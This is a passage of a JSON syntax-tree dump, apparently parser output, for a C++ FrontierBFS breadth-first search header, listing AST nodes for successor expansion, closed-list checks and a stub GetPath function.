986, "children": [988], "start_point": {"row": 171, "column": 54}, "end_point": {"row": 171, "column": 75}}, {"id": 988, "type": "identifier", "text": "currentClosedList", "parent": 987, "children": [], "start_point": {"row": 171, "column": 54}, "end_point": {"row": 171, "column": 71}}, {"id": 989, "type": "argument_list", "text": "()", "parent": 986, "children": [], "start_point": {"row": 171, "column": 75}, "end_point": {"row": 171, "column": 77}}, {"id": 990, "type": "continue_statement", "text": "continue;", "parent": 971, "children": [991], "start_point": {"row": 174, "column": 3}, "end_point": {"row": 174, "column": 12}}, {"id": 991, "type": "continue", "text": "continue", "parent": 990, "children": [], "start_point": {"row": 174, "column": 3}, "end_point": {"row": 174, "column": 11}}, {"id": 992, "type": "assignment_expression", "text": "currentClosedList[env->GetStateHash(s)] = true", "parent": 946, "children": [993, 1001, 1002], "start_point": {"row": 182, "column": 2}, "end_point": {"row": 182, "column": 48}}, {"id": 993, "type": "subscript_expression", "text": "currentClosedList[env->GetStateHash(s)]", "parent": 992, "children": [994, 995], "start_point": {"row": 182, "column": 2}, "end_point": {"row": 182, "column": 41}}, {"id": 994, "type": "identifier", "text": "currentClosedList", "parent": 993, "children": [], "start_point": {"row": 182, "column": 2}, "end_point": {"row": 182, "column": 19}}, {"id": 995, "type": "call_expression", "text": "env->GetStateHash(s)", "parent": 993, "children": [996, 999], "start_point": {"row": 182, "column": 20}, "end_point": {"row": 182, "column": 40}}, {"id": 996, "type": "field_expression", "text": "env->GetStateHash", "parent": 995, "children": [997, 998], "start_point": {"row": 182, "column": 20}, "end_point": {"row": 182, "column": 37}}, {"id": 997, "type": "identifier", "text": "env", "parent": 996, "children": [], "start_point": {"row": 182, "column": 20}, "end_point": {"row": 182, "column": 23}}, {"id": 998, "type": "field_identifier", "text": "GetStateHash", "parent": 996, "children": [], "start_point": {"row": 182, "column": 25}, "end_point": {"row": 182, "column": 37}}, {"id": 999, "type": "argument_list", "text": "(s)", "parent": 995, "children": [1000], "start_point": {"row": 182, "column": 37}, "end_point": {"row": 182, "column": 40}}, {"id": 1000, "type": "identifier", "text": "s", "parent": 999, "children": [], "start_point": {"row": 182, "column": 38}, "end_point": {"row": 182, "column": 39}}, {"id": 1001, "type": "=", "text": "=", "parent": 992, "children": [], "start_point": {"row": 182, "column": 42}, "end_point": {"row": 182, "column": 43}}, {"id": 1002, "type": "true", "text": "true", "parent": 992, "children": [], "start_point": {"row": 182, "column": 44}, "end_point": {"row": 182, "column": 48}}, {"id": 1003, "type": "update_expression", "text": "nodesExpanded++", "parent": 946, "children": [1004, 1005], "start_point": {"row": 184, "column": 2}, "end_point": {"row": 184, "column": 17}}, {"id": 1004, "type": "identifier", "text": "nodesExpanded", "parent": 1003, "children": [], "start_point": {"row": 184, "column": 2}, "end_point": {"row": 184, "column": 15}}, {"id": 1005, "type": "++", "text": "++", "parent": 1003, "children": [], "start_point": {"row": 184, "column": 15}, "end_point": {"row": 184, "column": 17}}, {"id": 1006, "type": "call_expression", "text": "env->GetSuccessors(s, neighbors)", "parent": 946, "children": [1007, 1010], "start_point": {"row": 185, "column": 2}, "end_point": {"row": 185, "column": 34}}, {"id": 1007, "type": "field_expression", "text": "env->GetSuccessors", "parent": 1006, "children": [1008, 1009], "start_point": {"row": 185, "column": 2}, "end_point": {"row": 185, "column": 20}}, {"id": 1008, "type": "identifier", "text": "env", "parent": 1007, "children": [], "start_point": {"row": 185, "column": 2}, "end_point": {"row": 185, "column": 5}}, {"id": 1009, "type": "field_identifier", "text": "GetSuccessors", "parent": 1007, "children": [], "start_point": {"row": 185, "column": 7}, "end_point": {"row": 185, "column": 20}}, {"id": 1010, "type": "argument_list", "text": "(s, neighbors)", "parent": 1006, "children": [1011, 1012], "start_point": {"row": 185, "column": 20}, "end_point": {"row": 185, "column": 34}}, {"id": 1011, "type": "identifier", "text": "s", "parent": 1010, "children": [], "start_point": {"row": 185, "column": 21}, "end_point": {"row": 185, "column": 22}}, {"id": 1012, "type": "identifier", "text": "neighbors", "parent": 1010, "children": [], "start_point": {"row": 185, "column": 24}, "end_point": {"row": 185, "column": 33}}, {"id": 1013, "type": "for_statement", "text": "for (unsigned int x = 0; x < neighbors.size(); x++)\n\t\t{\n\t\t\tif (currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end())\n\t\t\t\tcontinue;\n\t\t\tif (lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end())\n\t\t\t\tcontinue;\n\n\t\t\tnextOpenList.push_back(neighbors[x]);\n\t\t}", "parent": 946, "children": [1014, 1022, 1030], "start_point": {"row": 186, "column": 2}, "end_point": {"row": 194, "column": 3}}, {"id": 1014, "type": "declaration", "text": "unsigned int x = 0;", "parent": 1013, "children": [1015, 1018], "start_point": {"row": 186, "column": 7}, "end_point": {"row": 186, "column": 26}}, {"id": 1015, "type": "sized_type_specifier", "text": "unsigned int", "parent": 1014, "children": [1016, 1017], "start_point": {"row": 186, "column": 7}, "end_point": {"row": 186, "column": 19}}, {"id": 1016, "type": "unsigned", "text": "unsigned", "parent": 1015, "children": [], "start_point": {"row": 186, "column": 7}, "end_point": {"row": 186, "column": 15}}, {"id": 1017, "type": "primitive_type", "text": "int", "parent": 1015, "children": [], "start_point": {"row": 186, "column": 16}, "end_point": {"row": 186, "column": 19}}, {"id": 1018, "type": "init_declarator", "text": "x = 0", "parent": 1014, "children": [1019, 1020, 1021], "start_point": {"row": 186, "column": 20}, "end_point": {"row": 186, "column": 25}}, {"id": 1019, "type": "identifier", "text": "x", "parent": 1018, "children": [], "start_point": {"row": 186, "column": 20}, "end_point": {"row": 186, "column": 21}}, {"id": 1020, "type": "=", "text": "=", "parent": 1018, "children": [], "start_point": {"row": 186, "column": 22}, "end_point": {"row": 186, "column": 23}}, {"id": 1021, "type": "number_literal", "text": "0", "parent": 1018, "children": [], "start_point": {"row": 186, "column": 24}, "end_point": {"row": 186, "column": 25}}, {"id": 1022, "type": "binary_expression", "text": "x < neighbors.size()", "parent": 1013, "children": [1023, 1024, 1025], "start_point": {"row": 186, "column": 27}, "end_point": {"row": 186, "column": 47}}, {"id": 1023, "type": "identifier", "text": "x", "parent": 1022, "children": [], "start_point": {"row": 186, "column": 27}, "end_point": {"row": 186, "column": 28}}, {"id": 1024, "type": "<", "text": "<", "parent": 1022, "children": [], "start_point": {"row": 186, "column": 29}, "end_point": {"row": 186, "column": 30}}, {"id": 1025, "type": "call_expression", "text": "neighbors.size()", "parent": 1022, "children": [1026, 1029], "start_point": {"row": 186, "column": 31}, "end_point": {"row": 186, "column": 47}}, {"id": 1026, "type": "field_expression", "text": "neighbors.size", "parent": 1025, "children": [1027, 1028], "start_point": {"row": 186, "column": 31}, "end_point": {"row": 186, "column": 45}}, {"id": 1027, "type": "identifier", "text": "neighbors", "parent": 1026, "children": [], "start_point": {"row": 186, "column": 31}, "end_point": {"row": 186, "column": 40}}, {"id": 1028, "type": "field_identifier", "text": "size", "parent": 1026, "children": [], "start_point": {"row": 186, "column": 41}, "end_point": {"row": 186, "column": 45}}, {"id": 1029, "type": "argument_list", "text": "()", "parent": 1025, "children": [], "start_point": {"row": 186, "column": 45}, "end_point": {"row": 186, "column": 47}}, {"id": 1030, "type": "update_expression", "text": "x++", "parent": 1013, "children": [1031, 1032], "start_point": {"row": 186, "column": 49}, "end_point": {"row": 186, "column": 52}}, {"id": 1031, "type": "identifier", "text": "x", "parent": 1030, "children": [], "start_point": {"row": 186, "column": 49}, "end_point": {"row": 186, "column": 50}}, {"id": 1032, "type": "++", "text": "++", "parent": 1030, "children": [], "start_point": {"row": 186, "column": 50}, "end_point": {"row": 186, "column": 52}}, {"id": 1033, "type": "if_statement", "text": "if (currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end())\n\t\t\t\tcontinue;", "parent": 1013, "children": [1034, 1054], "start_point": {"row": 188, "column": 3}, "end_point": {"row": 189, "column": 13}}, {"id": 1034, "type": "parenthesized_expression", "text": "(currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end())", "parent": 1033, "children": [1035], "start_point": {"row": 188, "column": 6}, "end_point": {"row": 188, "column": 90}}, {"id": 1035, "type": "binary_expression", "text": "currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end()", "parent": 1034, "children": [1036, 1049, 1050], "start_point": {"row": 188, "column": 7}, "end_point": {"row": 188, "column": 89}}, {"id": 1036, "type": "call_expression", "text": "currentClosedList.find(env->GetStateHash(neighbors[x]))", "parent": 1035, "children": [1037, 1040], "start_point": {"row": 188, "column": 7}, "end_point": {"row": 188, "column": 62}}, {"id": 1037, "type": "field_expression", "text": "currentClosedList.find", "parent": 1036, "children": [1038, 1039], "start_point": {"row": 188, "column": 7}, "end_point": {"row": 188, "column": 29}}, {"id": 1038, "type": "identifier", "text": "currentClosedList", "parent": 1037, "children": [], "start_point": {"row": 188, "column": 7}, "end_point": {"row": 188, "column": 24}}, {"id": 1039, "type": "field_identifier", "text": "find", "parent": 1037, "children": [], "start_point": {"row": 188, "column": 25}, "end_point": {"row": 188, "column": 29}}, {"id": 1040, "type": "argument_list", "text": "(env->GetStateHash(neighbors[x]))", "parent": 1036, "children": [1041], "start_point": {"row": 188, "column": 29}, "end_point": {"row": 188, "column": 62}}, {"id": 1041, "type": "call_expression", "text": "env->GetStateHash(neighbors[x])", "parent": 1040, "children": [1042, 1045], "start_point": {"row": 188, "column": 30}, "end_point": {"row": 188, "column": 61}}, {"id": 1042, "type": "field_expression", "text": "env->GetStateHash", "parent": 1041, "children": [1043, 1044], "start_point": {"row": 188, "column": 30}, "end_point": {"row": 188, "column": 47}}, {"id": 1043, "type": "identifier", "text": "env", "parent": 1042, "children": [], "start_point": {"row": 188, "column": 30}, "end_point": {"row": 188, "column": 33}}, {"id": 1044, "type": "field_identifier", "text": "GetStateHash", "parent": 1042, "children": [], "start_point": {"row": 188, "column": 35}, "end_point": {"row": 188, "column": 47}}, {"id": 1045, "type": "argument_list", "text": "(neighbors[x])", "parent": 1041, "children": [1046], "start_point": {"row": 188, "column": 47}, "end_point": {"row": 188, "column": 61}}, {"id": 1046, "type": "subscript_expression", "text": "neighbors[x]", "parent": 1045, "children": [1047, 1048], "start_point": {"row": 188, "column": 48}, "end_point": {"row": 188, "column": 60}}, {"id": 1047, "type": "identifier", "text": "neighbors", "parent": 1046, "children": [], "start_point": {"row": 188, "column": 48}, "end_point": {"row": 188, "column": 57}}, {"id": 1048, "type": "identifier", "text": "x", "parent": 1046, "children": [], "start_point": {"row": 188, "column": 58}, "end_point": {"row": 188, "column": 59}}, {"id": 1049, "type": "!=", "text": "!=", "parent": 1035, "children": [], "start_point": {"row": 188, "column": 63}, "end_point": {"row": 188, "column": 65}}, {"id": 1050, "type": "call_expression", "text": "currentClosedList.end()", "parent": 1035, "children": [1051, 1053], "start_point": {"row": 188, "column": 66}, "end_point": {"row": 188, "column": 89}}, {"id": 1051, "type": "field_expression", "text": "currentClosedList.end", "parent": 1050, "children": [1052], "start_point": {"row": 188, "column": 66}, "end_point": {"row": 188, "column": 87}}, {"id": 1052, "type": "identifier", "text": "currentClosedList", "parent": 1051, "children": [], "start_point": {"row": 188, "column": 66}, "end_point": {"row": 188, "column": 83}}, {"id": 1053, "type": "argument_list", "text": "()", "parent": 1050, "children": [], "start_point": {"row": 188, "column": 87}, "end_point": {"row": 188, "column": 89}}, {"id": 1054, "type": "continue_statement", "text": "continue;", "parent": 1033, "children": [1055], "start_point": {"row": 189, "column": 4}, "end_point": {"row": 189, "column": 13}}, {"id": 1055, "type": "continue", "text": "continue", "parent": 1054, "children": [], "start_point": {"row": 189, "column": 4}, "end_point": {"row": 189, "column": 12}}, {"id": 1056, "type": "if_statement", "text": "if (lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end())\n\t\t\t\tcontinue;", "parent": 1013, "children": [1057, 1077], "start_point": {"row": 190, "column": 3}, "end_point": {"row": 191, "column": 13}}, {"id": 1057, "type": "parenthesized_expression", "text": "(lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end())", "parent": 1056, "children": [1058], "start_point": {"row": 190, "column": 6}, "end_point": {"row": 190, "column": 84}}, {"id": 1058, "type": "binary_expression", "text": "lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end()", "parent": 1057, "children": [1059, 1072, 1073], "start_point": {"row": 190, "column": 7}, "end_point": {"row": 190, "column": 83}}, {"id": 1059, "type": "call_expression", "text": "lastClosedList.find(env->GetStateHash(neighbors[x]))", "parent": 1058, "children": [1060, 1063], "start_point": {"row": 190, "column": 7}, "end_point": {"row": 190, "column": 59}}, {"id": 1060, "type": "field_expression", "text": "lastClosedList.find", "parent": 1059, "children": [1061, 1062], "start_point": {"row": 190, "column": 7}, "end_point": {"row": 190, "column": 26}}, {"id": 1061, "type": "identifier", "text": "lastClosedList", "parent": 1060, "children": [], "start_point": {"row": 190, "column": 7}, "end_point": {"row": 190, "column": 21}}, {"id": 1062, "type": "field_identifier", "text": "find", "parent": 1060, "children": [], "start_point": {"row": 190, "column": 22}, "end_point": {"row": 190, "column": 26}}, {"id": 1063, "type": "argument_list", "text": "(env->GetStateHash(neighbors[x]))", "parent": 1059, "children": [1064], "start_point": {"row": 190, "column": 26}, "end_point": {"row": 190, "column": 59}}, {"id": 1064, "type": "call_expression", "text": "env->GetStateHash(neighbors[x])", "parent": 1063, "children": [1065, 1068], "start_point": {"row": 190, "column": 27}, "end_point": {"row": 190, "column": 58}}, {"id": 1065, "type": "field_expression", "text": "env->GetStateHash", "parent": 1064, "children": [1066, 1067], "start_point": {"row": 190, "column": 27}, "end_point": {"row": 190, "column": 44}}, {"id": 1066, "type": "identifier", "text": "env", "parent": 1065, "children": [], "start_point": {"row": 190, "column": 27}, "end_point": {"row": 190, "column": 30}}, {"id": 1067, "type": "field_identifier", "text": "GetStateHash", "parent": 1065, "children": [], "start_point": {"row": 190, "column": 32}, "end_point": {"row": 190, "column": 44}}, {"id": 1068, "type": "argument_list", "text": "(neighbors[x])", "parent": 1064, "children": [1069], "start_point": {"row": 190, "column": 44}, "end_point": {"row": 190, "column": 58}}, {"id": 1069, "type": "subscript_expression", "text": "neighbors[x]", "parent": 1068, "children": [1070, 1071], "start_point": {"row": 190, "column": 45}, "end_point": {"row": 190, "column": 57}}, {"id": 1070, "type": "identifier", "text": "neighbors", "parent": 1069, "children": [], "start_point": {"row": 190, "column": 45}, "end_point": {"row": 190, "column": 54}}, {"id": 1071, "type": "identifier", "text": "x", "parent": 1069, "children": [], "start_point": {"row": 190, "column": 55}, "end_point": {"row": 190, "column": 56}}, {"id": 1072, "type": "!=", "text": "!=", "parent": 1058, "children": [], "start_point": {"row": 190, "column": 60}, "end_point": {"row": 190, "column": 62}}, {"id": 1073, "type": "call_expression", "text": "lastClosedList.end()", "parent": 1058, "children": [1074, 1076], "start_point": {"row": 190, "column": 63}, "end_point": {"row": 190, "column": 83}}, {"id": 1074, "type": "field_expression", "text": "lastClosedList.end", "parent": 1073, "children": [1075], "start_point": {"row": 190, "column": 63}, "end_point": {"row": 190, "column": 81}}, {"id": 1075, "type": "identifier", "text": "lastClosedList", "parent": 1074, "children": [], "start_point": {"row": 190, "column": 63}, "end_point": {"row": 190, "column": 77}}, {"id": 1076, "type": "argument_list", "text": "()", "parent": 1073, "children": [], "start_point": {"row": 190, "column": 81}, "end_point": {"row": 190, "column": 83}}, {"id": 1077, "type": "continue_statement", "text": "continue;", "parent": 1056, "children": [1078], "start_point": {"row": 191, "column": 4}, "end_point": {"row": 191, "column": 13}}, {"id": 1078, "type": "continue", "text": "continue", "parent": 1077, "children": [], "start_point": {"row": 191, "column": 4}, "end_point": {"row": 191, "column": 12}}, {"id": 1079, "type": "call_expression", "text": "nextOpenList.push_back(neighbors[x])", "parent": 1013, "children": [1080, 1083], "start_point": {"row": 193, "column": 3}, "end_point": {"row": 193, "column": 39}}, {"id": 1080, "type": "field_expression", "text": "nextOpenList.push_back", "parent": 1079, "children": [1081, 1082], "start_point": {"row": 193, "column": 3}, "end_point": {"row": 193, "column": 25}}, {"id": 1081, "type": "identifier", "text": "nextOpenList", "parent": 1080, "children": [], "start_point": {"row": 193, "column": 3}, "end_point": {"row": 193, "column": 15}}, {"id": 1082, "type": "field_identifier", "text": "push_back", "parent": 1080, "children": [], "start_point": {"row": 193, "column": 16}, "end_point": {"row": 193, "column": 25}}, {"id": 1083, "type": "argument_list", "text": "(neighbors[x])", "parent": 1079, "children": [1084], "start_point": {"row": 193, "column": 25}, "end_point": {"row": 193, "column": 39}}, {"id": 1084, "type": "subscript_expression", "text": "neighbors[x]", "parent": 1083, "children": [1085, 1086], "start_point": {"row": 193, "column": 26}, "end_point": {"row": 193, "column": 38}}, {"id": 1085, "type": "identifier", "text": "neighbors", "parent": 1084, "children": [], "start_point": {"row": 193, "column": 26}, "end_point": {"row": 193, "column": 35}}, {"id": 1086, "type": "identifier", "text": "x", "parent": 1084, "children": [], "start_point": {"row": 193, "column": 36}, "end_point": {"row": 193, "column": 37}}, {"id": 1087, "type": "comma_expression", "text": "template <class state, class action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t state &from, state &to,\n\t\t\t\t\t\t\t\t\t\t std::vector<action> &thePath)\n{\n\tassert(!\"not defined\")", "parent": 0, "children": [1088, 1091, 1093], "start_point": {"row": 198, "column": 0}, "end_point": {"row": 203, "column": 23}}, {"id": 1088, "type": "binary_expression", "text": "template <class", "parent": 1087, "children": [1089, 1090], "start_point": {"row": 198, "column": 0}, "end_point": {"row": 198, "column": 15}}, {"id": 1089, "type": "identifier", "text": "template", "parent": 1088, "children": [], "start_point": {"row": 198, "column": 0}, "end_point": {"row": 198, "column": 8}}, {"id": 1090, "type": "<", "text": "<", "parent": 1088, "children": [], "start_point": {"row": 198, "column": 9}, "end_point": {"row": 198, "column": 10}}, {"id": 1091, "type": "ERROR", "text": "state", "parent": 1087, "children": [1092], "start_point": {"row": 198, "column": 16}, "end_point": {"row": 198, "column": 21}}, {"id": 1092, "type": "identifier", "text": "state", "parent": 1091, "children": [], "start_point": {"row": 198, "column": 16}, "end_point": {"row": 198, "column": 21}}, {"id": 1093, "type": "comma_expression", "text": "action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t state &from, state &to,\n\t\t\t\t\t\t\t\t\t\t std::vector<action> &thePath)\n{\n\tassert(!\"not defined\")", "parent": 1087, "children": [1094, 1103], "start_point": {"row": 198, "column": 29}, "end_point": {"row": 203, "column": 23}}, {"id": 1094, "type": "binary_expression", "text": "action>\nvoid FrontierBFS<state", "parent": 1093, "children": [1095, 1101, 1102], "start_point": {"row": 198, "column": 29}, "end_point": {"row": 199, "column": 22}}, {"id": 1095, "type": "binary_expression", "text": "action>\nvoid FrontierBFS", "parent": 1094, "children": [1096, 1097, 1098, 1100], "start_point": {"row": 198, "column": 29}, "end_point": {"row": 199, "column": 16}}, {"id": 1096, "type": "identifier", "text": "action", "parent": 1095, "children": [], "start_point": {"row": 198, "column": 29}, "end_point": {"row": 198, "column": 35}}, {"id": 1097, "type": ">", "text": ">", "parent": 1095, "children": [], "start_point": {"row": 198, "column": 35}, "end_point": {"row": 198, "column": 36}}, {"id": 1098, "type": "ERROR", "text": "void", "parent": 1095, "children": [1099], "start_point": {"row": 199, "column": 0}, "end_point": {"row": 199, "column": 4}}, {"id": 1099, "type": "identifier", "text": "void", "parent": 1098, "children": [], "start_point": {"row": 199, "column": 0}, "end_point": {"row": 199, "column": 4}}, {"id": 1100, "type": "identifier", "text": "FrontierBFS", "parent": 1095, "children": [], "start_point": {"row": 199, "column": 5}, "end_point": {"row": 199, "column": 16}}, {"id": 1101, "type": "<", "text": "<", "parent": 1094, "children": [], "start_point": {"row": 199, "column": 16}, "end_point": {"row": 199, "column": 17}}, {"id": 1102, "type": "identifier", "text": "state", "parent": 1094, "children": [], "start_point": {"row": 199, "column": 17}, "end_point": {"row": 199, "column": 22}}, {"id": 1103, "type": "binary_expression", "text": "action>::GetPath(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t state &from, state &to,\n\t\t\t\t\t\t\t\t\t\t std::vector<action> &thePath)\n{\n\tassert(!\"not defined\")", "parent": 1093, "children": [1104, 1105, 1106, 1135], "start_point": {"row": 199, "column": 24}, "end_point": {"row": 203, "column": 23}}, {"id": 1104, "type": "identifier", "text": "action", "parent": 1103, "children": [], "start_point": {"row": 199, "column": 24}, "end_point": {"row": 199, "column": 30}}, {"id": 1105, "type": ">", "text": ">", "parent": 1103, "children": [], "start_point": {"row": 199, "column": 30}, "end_point": {"row": 199, "column": 31}}, {"id": 1106, "type": "ERROR", "text": "::GetPath(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t state &from, state &to,\n\t\t\t\t\t\t\t\t\t\t std::vector<action> &thePath)\n{", "parent": 1103, "children": [1107], "start_point": {"row": 199, "column": 31}, "end_point": {"row": 202, "column": 1}}, {"id": 1107, "type": "call_expression", "text": "GetPath(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t state &from, state &to,\n\t\t\t\t\t\t\t\t\t\t std::vector<action> &thePath)", "parent": 1106, "children": [1108, 1109], "start_point": {"row": 199, "column": 33}, "end_point": {"row": 201, "column": 40}}, {"id": 1108, "type": "identifier", "text": "GetPath", "parent": 1107, "children": [], "start_point": {"row": 199, "column": 33}, "end_point": {"row": 199, "column": 40}}, {"id": 1109, "type": "argument_list", "text": "(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t state &from, state &to,\n\t\t\t\t\t\t\t\t\t\t std::vector<action> &thePath)", "parent": 1107, "children": [1110, 1114, 1120, 1122, 1125, 1127], "start_point": {"row": 199, "column": 40}, "end_point": {"row": 201, "column": 40}}, {"id": 1110, "type": "binary_expression", "text": "SearchEnvironment<state", "parent": 1109, "children": [1111, 1112, 1113], "start_point": {"row": 199, "column": 41}, "end_point": {"row": 199, "column": 64}}, {"id": 1111, "type": "identifier", "text": "SearchEnvironment", "parent": 1110, "children": [], "start_point": {"row": 199, "column": 41}, "end_point": {"row": 199, "column": 58}}, {"id": 1112, "type": "<", "text": "<", "parent": 1110, "children": [], "start_point": {"row": 199, "column": 58}, "end_point": {"row": 199, "column": 59}}, {"id": 1113, "type": "identifier", "text": "state", "parent": 1110, "children": [], "start_point": {"row": 199, "column": 59}, "end_point": {"row": 199, "column": 64}}, {"id": 1114, "type": "binary_expression", "text": "action> *env", "parent": 1109, "children": [1115, 1116, 1117], "start_point": {"row": 199, "column": 66}, "end_point": {"row": 199, "column": 78}}, {"id": 1115, "type": "identifier", "text": "action", "parent": 1114, "children": [], "start_point": {"row": 199, "column": 66}, "end_point": {"row": 199, "column": 72}}, {"id": 1116, "type": ">", "text": ">", "parent": 1114, "children": [], "start_point": {"row": 199, "column": 72}, "end_point": {"row": 199, "column": 73}}, {"id": 1117, "type": "pointer_expression", "text": "*env", "parent": 1114, "children": [1118, 1119], "start_point": {"row": 199, "column": 74}, "end_point": {"row": 199, "column": 78}}, {"id": 1118, "type": "*", "text": "*", "parent": 1117, "children": [], "start_point": {"row": 199, "column": 74}, "end_point": {"row": 199, "column": 75}}, {"id": 1119, "type": "identifier", "text": "env", "parent": 1117, "children": [], "start_point": {"row": 199, "column": 75}, "end_point": {"row": 199, "column": 78}}, {"id": 1120, "type": "binary_expression", "text": "state &from", "parent": 1109, "children": [1121], "start_point": {"row": 200, "column": 11}, "end_point": {"row": 200, "column": 22}}, {"id": 1121, "type": "identifier", "text": "state", "parent": 1120, "children": [], "start_point": {"row": 200, "column": 11}, "end_point": {"row": 200, "column": 16}}, {"id": 1122, "type": "binary_expression", "text": "state &to", "parent": 1109, "children": [1123, 1124], "start_point": {"row": 200, "column": 24}, "end_point": {"row": 200, "column": 33}}, {"id": 1123, "type": "identifier", "text": "state", "parent": 1122, "children": [], "start_point": {"row": 200, "column": 24}, "end_point": {"row": 200, "column": 29}}, {"id": 1124, "type": "identifier", "text": "to", "parent": 1122, "children": [], "start_point": {"row": 200, "column": 31}, "end_point": {"row": 200, "column": 33}}, {"id": 1125, "type": "ERROR", "text": "std::", "parent": 1109, "children": [1126], "start_point": {"row": 201, "column": 11}, "end_point": {"row": 201, "column": 16}}, {"id": 1126, "type": "identifier", "text": "std", "parent": 1125, "children": [], "start_point": {"row": 201, "column": 11}, "end_point": {"row": 201, "column": 14}}, {"id": 1127, "type": "binary_expression", "text": "vector<action> &thePath", "parent": 1109, "children": [1128, 1132, 1133], "start_point": {"row": 201, "column": 16}, "end_point": {"row": 201, "column": 39}}, {"id": 1128, "type": "binary_expression", "text": "vector<action", "parent": 1127, "children": [1129, 1130, 1131], "start_point": {"row": 201, "column": 16}, "end_point": {"row": 201, "column": 29}}, {"id": 1129, "type": "identifier", "text": "vector", "parent": 1128, "children": [], "start_point": {"row": 201, "column": 16}, "end_point": {"row": 201, "column": 22}}, {"id": 1130, "type": "<", "text": "<", "parent": 1128, "children": [], "start_point": {"row": 201, "column": 22}, "end_point": {"row": 201, "column": 23}}, {"id": 1131, "type": "identifier", "text": "action", "parent": 1128, "children": [], "start_point": {"row": 201, "column": 23}, "end_point": {"row": 201, "column": 29}}, {"id": 1132, "type": ">", "text": ">", "parent": 1127, "children": [], "start_point": {"row": 201, "column": 29}, "end_point": {"row": 201, "column": 30}}, {"id": 1133, "type": "pointer_expression", "text": "&thePath", "parent": 1127, "children": [1134], "start_point": {"row": 201, "column": 31}, "end_point": {"row": 201, "column": 39}}, {"id": 1134, "type": "identifier", "text": "thePath", "parent": 1133, "children": [], "start_point": {"row": 201, "column": 32}, "end_point": {"row": 201, "column": 39}}, {"id": 1135, "type": "call_expression", "text": "assert(!\"not defined\")", "parent": 1103, "children": [1136, 1137], "start_point": {"row": 203, "column": 1}, "end_point": {"row": 203, "column": 23}}, {"id": 1136, "type": "identifier", "text": "assert", "parent": 1135, "children": [], "start_point": {"row": 203, "column": 1}, "end_point": {"row": 203, "column": 7}}, {"id": 1137, "type": "argument_list", "text": "(!\"not defined\")", "parent": 1135, "children": [1138], "start_point": {"row": 203, "column": 7}, "end_point": {"row": 203, "column": 23}}, {"id": 1138, "type": "unary_expression", "text": "!\"not defined\"", "parent": 1137, "children": [1139, 1140], "start_point": {"row": 203, "column": 8}, "end_point": {"row": 203, "column": 22}}, {"id": 1139, "type": "!", "text": "!", "parent": 1138, "children": [], "start_point": {"row": 203, "column": 8}, "end_point": {"row": 203, "column": 9}}, {"id": 1140, "type": "string_literal", "text": "\"not defined\"", "parent": 1138, "children": [], "start_point": {"row": 203, "column": 9}, "end_point": {"row": 203, "column": 22}}, {"id": 1141, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 207, "column": 0}, "end_point": {"row": 207, "column": 6}}]}, "node_categories": {"declarations": {"functions": [45, 49, 54, 84, 114, 133, 157, 172, 174, 203, 205, 210, 212, 220], "variables": [18, 52, 57, 62, 69, 71, 74, 82, 87, 92, 99, 101, 104, 112, 117, 122, 129, 131, 136, 141, 148, 155, 160, 165, 218, 223, 228, 235, 243, 246, 254, 257, 261, 282, 285, 429, 491, 765, 932, 956, 1014], "classes": [], "imports": [6, 7, 9, 10, 12, 13, 15, 16], "modules": [], "enums": []}, "statements": {"expressions": [31, 32, 37, 42, 178, 179, 180, 181, 190, 191, 192, 193, 266, 267, 275, 276, 288, 289, 294, 295, 296, 304, 308, 311, 315, 318, 321, 330, 331, 335, 336, 340, 341, 345, 346, 350, 351, 359, 360, 365, 366, 367, 375, 379, 382, 386, 389, 394, 395, 400, 408, 409, 413, 414, 418, 419, 423, 424, 437, 440, 441, 444, 447, 448, 452, 459, 460, 465, 466, 467, 475, 478, 481, 485, 488, 498, 499, 500, 501, 502, 503, 510, 511, 512, 513, 524, 525, 526, 527, 536, 537, 540, 541, 547, 548, 551, 552, 559, 567, 568, 576, 577, 580, 581, 587, 588, 591, 592, 599, 607, 608, 612, 618, 625, 629, 630, 631, 632, 633, 638, 639, 644, 645, 650, 651, 656, 657, 658, 659, 660, 661, 668, 669, 670, 671, 681, 682, 687, 688, 689, 697, 701, 704, 708, 711, 714, 716, 721, 722, 727, 736, 737, 741, 742, 746, 747, 751, 752, 756, 757, 772, 773, 774, 775, 776, 777, 784, 785, 786, 787, 793, 800, 804, 805, 806, 807, 808, 813, 814, 819, 820, 825, 826, 835, 836, 837, 838, 844, 852, 853, 858, 866, 867, 871, 874, 875, 880, 881, 882, 890, 893, 896, 900, 903, 908, 909, 914, 916, 921, 922, 927, 929, 940, 941, 947, 948, 949, 950, 961, 962, 966, 967, 972, 973, 974, 975, 979, 980, 986, 987, 993, 995, 996, 1003, 1006, 1007, 1022, 1025, 1026, 1030, 1034, 1035, 1036, 1037, 1041, 1042, 1046, 1050, 1051, 1057, 1058, 1059, 1060, 1064, 1065, 1069, 1073, 1074, 1079, 1080, 1084, 1087, 1088, 1093, 1094, 1095, 1103, 1107, 1110, 1114, 1117, 1120, 1122, 1127, 1128, 1133, 1135, 1138], "assignments": [323, 326, 355, 401, 404, 454, 519, 729, 732, 761, 830, 992], "loops": [428, 771, 946, 1013], "conditionals": [0, 1, 2, 5, 20, 22, 27, 29, 33, 36, 38, 40, 43, 46, 50, 55, 58, 61, 63, 68, 70, 72, 73, 75, 77, 79, 81, 85, 88, 91, 93, 98, 100, 102, 103, 105, 107, 109, 111, 115, 118, 121, 123, 128, 130, 134, 137, 140, 142, 147, 149, 151, 153, 158, 161, 164, 166, 171, 173, 175, 177, 182, 183, 188, 189, 194, 195, 200, 202, 206, 209, 213, 216, 221, 224, 227, 229, 234, 236, 238, 240, 242, 244, 245, 247, 249, 